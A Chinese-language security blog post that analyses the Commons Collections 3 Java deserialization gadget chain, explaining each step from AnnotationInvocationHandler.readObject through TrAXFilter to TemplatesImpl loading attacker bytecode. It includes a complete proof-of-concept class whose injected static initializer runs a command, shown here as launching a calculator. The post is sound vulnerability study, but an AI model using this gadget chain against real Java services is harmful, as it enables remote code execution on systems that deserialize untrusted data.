Java安全之Commons Collections3分析

nice_0e3發表於2020-10-21

Java安全之Commons Collections3分析

文章首發:Java安全之Commons Collections3分析

0x00 前言

在學習完成前面的CC1鏈和CC2鏈後,其實再來看CC3鏈會比較輕鬆。CC1的利用鏈是

Map(Proxy).entrySet()觸發AnnotationInvocationHandler.invoke(),而CC2鏈的利用鏈是通過InvokerTransformer.transform()呼叫newTransformer觸發RCE。這裡就不說這麼詳細感興趣可以看前面幾篇文章。聽說CC3鏈是CC1和CC2鏈的結合體。下面來分析一下CC3鏈。

0x01 前置知識

在CC3利用鏈的構造裡面其實沒有用到很多的新的一些知識點,但是有用到新的類,還是需要記錄下來。

InstantiateTransformer

首先還是檢視一下構造方法。

在檢視下面的程式碼的時候會發現他的transform方法非常的有意思。

transform方法會去使用反射例項化一個物件並且返回。

TrAXFilter

檢視TrAXFilter的構造方法,會發現更有意思的事情

_transformer = (TransformerImpl) templates.newTransformer();

呼叫了傳入引數的newTransformer()方法。在CC2鏈分析的時候,使用的是反射呼叫newTransformer,newTransformer呼叫defineTransletClasses()。最後再呼叫_class.newInstance()例項化_class物件。那麼如果是使用TrAXFilter的話,就不需要InvokerTransformertransform方法反射去呼叫了。

0x02 POC分析

package com.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections333333333");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes=payload.toBytecode();

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");


        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap= LazyMap.decorate(map,chainedTransformer);

        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,map1);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(object);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
    }
}

上面是一段POC程式碼,先來分析一下,POC為什麼要這樣去構造。

 String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes=payload.toBytecode();

先來執行一遍看一下執行的結果

能夠執行成功並且彈出計算器。

其實看到程式碼前面部分,和CC2利用鏈的構造是一模一樣的。在CC2鏈中分析文章裡面講到過。這裡就來簡單概述一下。

Java安全之Commons Collections2分析

這裡是採用了Javassist方式建立一個類,然後設定該類的主體為Runtime.exec("clac.exe"),設定完成後,將該類轉換成位元組碼。

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");

反射獲取TemplatesImpl類的_bytecodes成員變數,設定值為上面使用Javassist類轉換後的位元組碼。

反射獲取TemplatesImpl類的_name成員變數,設定值為test。

 Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };
 ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

ConstantTransformer在呼叫transform方法的時候,會遍歷的去呼叫陣列裡面transform方法。並且將執行結果傳入到第二次遍歷執行的引數裡面。

第一次執行this.iTransformers[i]ConstantTransformer。所以,呼叫的是ConstantTransformertransform方法該方法是直接返回傳入的物件。這裡返回了個TrAXFilter.class物件。

而在第二次遍歷執行的時候傳入的就是TrAXFilter.class物件,然後再反射的去獲取方法,使用newInstance例項化一個物件並且進行返回。

Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);

這裡是將上面構造好的ChainedTransformer的例項化物件,傳入進去。在呼叫lazyMap的get方法的時候,就會去呼叫構造好的ChainedTransformer物件的transform方法。

那麼下面就會引出lazyMap的get方法的呼叫問題,再來看下面一段程式碼。

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,map1);

反射建立了一個AnnotationInvocationHandler物件,傳入Override.classlazyMap的物件,並使用AnnotationInvocationHandler作為呼叫處理器,為lazyMap做一個動態代理。關於這裡為什麼要傳入一個Override.class的問題,其實因為AnnotationInvocationHandler本來就是一個處理註解的類,構造方法的第⼀個引數是⼀個Annotation類型別引數,第二個是map型別引數(所有的註解型別都繼承自這個Annotation介面)。在這裡面不管傳入的是Retention.class還是Override.class都是可行的。

這的lazyMap作為被代理的物件後,呼叫任意的方法都會去執行呼叫處理器的invoke方法。AnnotationInvocationHandler實現了InvocationHandler ,可以被當作呼叫處理器傳入。而我們在這時候呼叫lazyMap的任意方法的話,就會執行一次AnnotationInvocationHandler中的invoke方法。而在AnnotationInvocationHandlerinvoke方法中就會呼叫get方法。

在呼叫get方法後又回到了前面說到的地方,這裡就會去呼叫transform方法去完成後面的命令執行。這裡先不細說。

在分析完POC程式碼後其實並沒有去看到一個完整的呼叫鏈,這裡有必要去除錯一遍。

0x03 CC3鏈除錯

先在AnnotationInvocationHandlerreadobject方法中去打個斷點進行除錯分析

在這裡可以看到這裡的this.memberValues的值為被代理的lazyMap的物件,呼叫了lazyMapentrySet方法。那麼這時候被代理物件的呼叫處理器的invoke方法會執行。前面說過使用的AnnotationInvocationHandler作為呼叫處理器,這裡呼叫的就是AnnotationInvocationHandlerinvoke方法,跟進一下invoke方法。

invoke方法在內部呼叫了lazyMap的get方法,再來跟進一下get方法

到這裡其實就能看到了 this.factory.transform(key);,呼叫了transform方法,在這裡的this.factoryChainedTransformer的例項化物件。再來跟進一下transform方法就能看到ChainedTransformertransform內部的呼叫結構。

在POC構造的時候為ChainedTransformer這個物件傳入了一個陣列,陣列的第一值為ConstantTransformer例項化物件,第二個為InstantiateTransformer例項化物件。

所以在這裡第一次遍歷this.iTransformers[i]的值為ConstantTransformerConstantTransformertransform會直接返回傳入的物件。在POC程式碼構造的時候,傳入的是TrAXFilter物件,所以在這裡會直接進行返回TrAXFilter,並且會作為第二次遍歷的傳參值。

而在第二次遍歷的時候,this.iTransformers[i]的值為InstantiateTransformer的例項化物件。所以呼叫的是InstantiateTransformertransform方法並且傳入了TrAXFilter物件。跟進一下InstantiateTransformertransform方法。

這裡其實是比較有意思的,剛剛傳入的是TrAXFilter物件,所以這裡的input為TrAXFilterthis.iParamTypesTemplatesthis.iArgs為構造好的惡意TemplatesImpl例項化物件。(這裡之所以說他是惡意的TemplatesImpl物件是因為在前面使用反射將他的_bytecodes設定成了一個使用javassist動態建立的惡意類的位元組碼)

transform方法中使用getConstructor方法獲取TrAXFilter引數為Templates的構造方法。

使用該構造方法建立一個物件,並且傳入惡意的TemplatesImpl例項化物件。在該構造方法當中會呼叫TemplatesImplnewTransformer方法。跟進一下newTransformer方法。

newTransformer方法內部呼叫了getTransletInstance方法再跟進一下。

這裡可以看到先是判斷了_name的值是否為空,為空的話就會執行返回null,不向下執行。這也是前面為什麼使用反射獲取並且修改_name值的原因。

下面一步是判斷_class是否為空,顯然我們這裡的_class值是null,這時候就會呼叫defineTransletClasses方法,跟進一下。

下面標註出來這段是_bytecodes_class進行賦值,這裡的_bytecodes的值是使用javassist動態建立的惡意類的位元組碼 執行完後,來到下一步。

這裡會對該位元組碼進行呼叫newInstance方法例項化一個物件,然後就可以看到命令執行成功。

關於這個為什麼呼叫newInstance例項化一個物件,命令就直接執行成功的問題,其實我的在CC2鏈分析裡面也說到過,主要還是看使用javassist動態建立一個類的時候,他是怎麼去構造的。

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));  payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); 
payload.writeFile("./");

先將該類寫出來到檔案中,然後再去檢視。

看到這個其實就一目瞭然了,使用setBody設定主體的時候,程式碼其實是插入在靜態程式碼塊中的。靜態程式碼塊的程式碼在例項化物件的時候就會進行執行。

呼叫鏈

AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet
->AnnotationInvocationHandler.invoke->lazyMap.get
->ChainedTransformer.transform->ConstantTransformer.transform
->InstantiateTransformer.transform->TrAXFilter(構造方法)
->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance
->TemplatesImpl.defineTransletClasses
->(動態建立的類)cc2.newInstance()->Runtime.exec()

0x04 結尾

其實在除錯CC3這條利用鏈的時候,會發現前半部分使用的是CC2利用鏈的POC程式碼,而後半部分則是CC1的利用鏈程式碼。除錯過這兩條利用鏈的話,除錯CC3這條利用鏈會比較簡單易懂。

在寫這篇文的時候,第一次剛碼完字,電腦就藍屏了。重新開啟檔案的時候,文章的檔案也清空了。只能重寫一遍,但是重寫完後,發現雖然字數也差不多,但是感覺細節點的地方還是少了東西,但是又不知道具體在哪些地方少了。

相關文章